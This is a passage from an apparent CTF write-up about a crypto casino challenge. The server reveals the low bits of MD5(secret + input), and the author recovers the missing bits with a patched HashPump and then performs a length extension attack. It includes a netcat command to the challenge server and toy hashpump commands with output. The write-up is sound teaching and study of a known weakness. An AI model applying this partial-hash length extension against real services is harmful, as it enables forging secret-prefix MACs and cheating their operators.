&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="il"&gt;78L&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;This matches the number the game told us. Now that we verified the mechanism
used by the server, let's see how we can break it.&lt;/p&gt;
&lt;p&gt;We can set &lt;code&gt;odds&lt;/code&gt; to any power of 2, up to 2^100 (it really is capped at 100, I tested...)&lt;/p&gt;
&lt;p&gt;Although they call their number a &lt;a href="http://en.wikipedia.org/wiki/Cryptographic_nonce"&gt;Nonce&lt;/a&gt;,
it is reused until we ask the server to reveal it.
However we are not allowed to repeat our number (server's response:
"&lt;em&gt;What part of NONCE don't you understand, asshole?&lt;/em&gt;" followed by a disconnect).
If this was allowed, it would be trivial to win by reusing a winning number often.&lt;/p&gt;
&lt;p&gt;Luckily the server is nice enough to reveal the result of
&lt;code&gt;md5(our number + your number) % odds&lt;/code&gt;
in case it is nonzero (78 in the example).
We can also express this as bitwise and (&lt;code&gt;&amp;amp;&lt;/code&gt;), because
&lt;code&gt;MD5(m) % 2^k = MD5(m) &amp;amp; (2^k - 1)&lt;/code&gt;.
In the example, we could therefore also use &lt;code&gt;&amp;amp; 0xff&lt;/code&gt; instead of &lt;code&gt;% 2**8&lt;/code&gt;.
In other words: the server computes the lower &lt;code&gt;k&lt;/code&gt; bits of the hash.
So essentially, the goal of the
game is to guess a number so that the resulting hash has many trailing zeros.&lt;/p&gt;
&lt;h3&gt;Avoiding newlines&lt;/h3&gt;
&lt;p&gt;Although a later update in the server banner mentioned trailing newlines
(see the &lt;code&gt;'\n'&lt;/code&gt; into the previous example)
it is well possible to avoid the newline:&lt;/p&gt;
&lt;p&gt;```bash Terminal A
mkfifo input
while true; do cat input; done | nc 54.197.195.247 4321&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;```bash Terminal B
echo -n foo &amp;gt; input
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Even without a newline, the server responded well. This method also makes it
simple to send binary data without writing a custom client. In retrospect,
using an interactive python shell might have been nicer though.&lt;/p&gt;
&lt;h3&gt;MD5 Collisions?&lt;/h3&gt;
&lt;p&gt;My first thought was to solve this using
&lt;a href="http://en.wikipedia.org/wiki/MD5#Collision_vulnerabilities"&gt;MD5 hash collisions&lt;/a&gt;, which can
be generated very quickly nowadays, e.g. using
&lt;a href="https://code.google.com/p/hashclash/"&gt;HashClash&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Given two blocks A, B with the same hash value, my idea was to play 
&lt;code&gt;A + x&lt;/code&gt; for varying x for $1 until I find a winning x, then play &lt;code&gt;B + x&lt;/code&gt; with
the remaining money.&lt;/p&gt;
&lt;p&gt;It turns out that MD5 hash collisions don't work that way - even with a
block-sized common prefix P, in general &lt;code&gt;MD5(P+A) != MD5(P+B)&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Length Extension Attacks&lt;/h3&gt;
&lt;p&gt;Next idea: if we knew &lt;code&gt;MD5(secret)&lt;/code&gt;, we can compute &lt;code&gt;MD5(secret+x)&lt;/code&gt; using a
&lt;a href="http://en.wikipedia.org/wiki/Length_extension_attack"&gt;Length Extension Attack&lt;/a&gt;,
e.g. using &lt;a href="https://github.com/bwall/HashPump"&gt;HashPump&lt;/a&gt;.
Then we could locally guess different values of &lt;code&gt;x&lt;/code&gt; until we get a hash 
&lt;code&gt;MD5(secret+x)&lt;/code&gt; with many trailing zeros and empty the casino with it.&lt;/p&gt;
&lt;p&gt;Problem: the server will not give us a full hash, but only the lowest 100 bits
(we cannot set &lt;code&gt;odds&lt;/code&gt; larger than 2^100)
of &lt;code&gt;MD5(secret+x)&lt;/code&gt; for any non-empty value of x we supply. MD5 hashes are 128
bits long, so there are 28 unknown bits.&lt;/p&gt;
&lt;p&gt;Solution: We fetch the lower bits of &lt;code&gt;MD5(secret+'x')&lt;/code&gt; and &lt;code&gt;MD5(secret+'x'+L)&lt;/code&gt;,
where L is our length extension attack string. If we guess the missing 28 bits
of &lt;code&gt;MD5(secret+'x')&lt;/code&gt; correctly and use HashPump on the result, the 
extended MD5 hash will match the 100 bits of &lt;code&gt;MD5(secret+'x'+L)&lt;/code&gt; that we
acquired. So we can just try this for all possible 2^28 possible prefixes
until we find one where it works. Then we can be reasonably sure that we found
the original hash.&lt;/p&gt;
&lt;p&gt;I patched HashPump to do this bruteforce attack for me, giving it both
partial hashes and the number of missing bits as input. After fixing a few
stupid bugs it worked correcty on a toy example, and, with more patience, also
with the real thing.&lt;/p&gt;
&lt;p&gt;Knowing the full hash of &lt;code&gt;MD5(secret+'x')&lt;/code&gt;, I added another bruteforcing
loop to HashPump, computing strings L to append so that &lt;code&gt;MD5(secret+'x'+L)&lt;/code&gt;
has many trailing zeros.&lt;/p&gt;
&lt;p&gt;Playing two rounds with these strings was enough to win the required amount
to receive the flag.&lt;/p&gt;
&lt;h3&gt;Code &amp;amp; Example&lt;/h3&gt;
&lt;p&gt;In case you want to have a closer look or play with it yourself, I published
my HashPump fork to &lt;a href="https://github.com/mheistermann/HashPump-partialhash"&gt;a github repo&lt;/a&gt;.&lt;br&gt;
Diff only:
&lt;a href="https://github.com/mheistermann/HashPump-partialhash/commit/b822764fa71209858c91378736d43d082c674e96"&gt;Commit b822764fa71209858c91378736d43d082c674e96&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Let's use it on a toy example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;% &lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;AAAA
% &lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00y&amp;quot;&lt;/span&gt;
% &lt;span class="nb"&gt;echo&lt;/span&gt; -n &lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;secret&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;x &lt;span class="p"&gt;|&lt;/span&gt; md5sum
48e1177010d5528ad343a2c302faa37e  -
% &lt;span class="nb"&gt;echo&lt;/span&gt; -n &lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;secret&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;x&lt;span class="nv"&gt;$msg&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; md5sum
bcec1f2921593edf0ddab31ee61ad23f  -
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;code&gt;msg&lt;/code&gt; looks like random magic, but it actually is the length extension string
HashPump gives us after one run, minus the leading 'x' (HashPump &lt;code&gt;--data&lt;/code&gt; parameter).&lt;/p&gt;
&lt;p&gt;The hashes are what is really calculated on the server for the inputs
'x' and 'x$msg'.
To simulate the game environment, we pretend not to know the first 2 bytes
of these and fill in zeros for them:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;% ./hashpump --signature 0000177010d5528ad343a2c302faa37e &lt;span class="se"&gt;\&lt;/span&gt;
    --data &lt;span class="s2"&gt;&amp;quot;x&amp;quot;&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="c1"&gt;# already appended to secret in the first hash&lt;/span&gt;
    --additional &lt;span class="s2"&gt;&amp;quot;y&amp;quot;&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;&lt;span class="c1"&gt;# what we want to append at the very end&lt;/span&gt;
    --keylength &lt;span class="m"&gt;4&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;   &lt;span class="c1"&gt;# length of the secret key - 4 in the toy example&lt;/span&gt;
    --unknown &lt;span class="m"&gt;16&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;    &lt;span class="c1"&gt;# unknown bits&lt;/span&gt;
    --sig2 00001f2921593edf0ddab31ee61ad23f &lt;span class="c1"&gt;# target extended signature&lt;/span&gt;
mask: ffff0000
progress: 0x               &lt;span class="m"&gt;0&lt;/span&gt;, &lt;span class="m"&gt;0&lt;/span&gt;.0000:                                         &lt;span class="p"&gt;|&lt;/span&gt;
success with &lt;span class="nv"&gt;origHash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; 48e1177010d5528ad343a2c302faa37e
prefix: 0x48e1
predicted sig: bcec1f2921593edf0ddab31ee61ad23f
x&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;80&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;00y
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;We see that the modified HashPump managed to complete the original hash.&lt;/p&gt;
&lt;p&gt;From here it should be easy ;-)&lt;/p&gt;</content><category term="crypto"></category></entry></feed>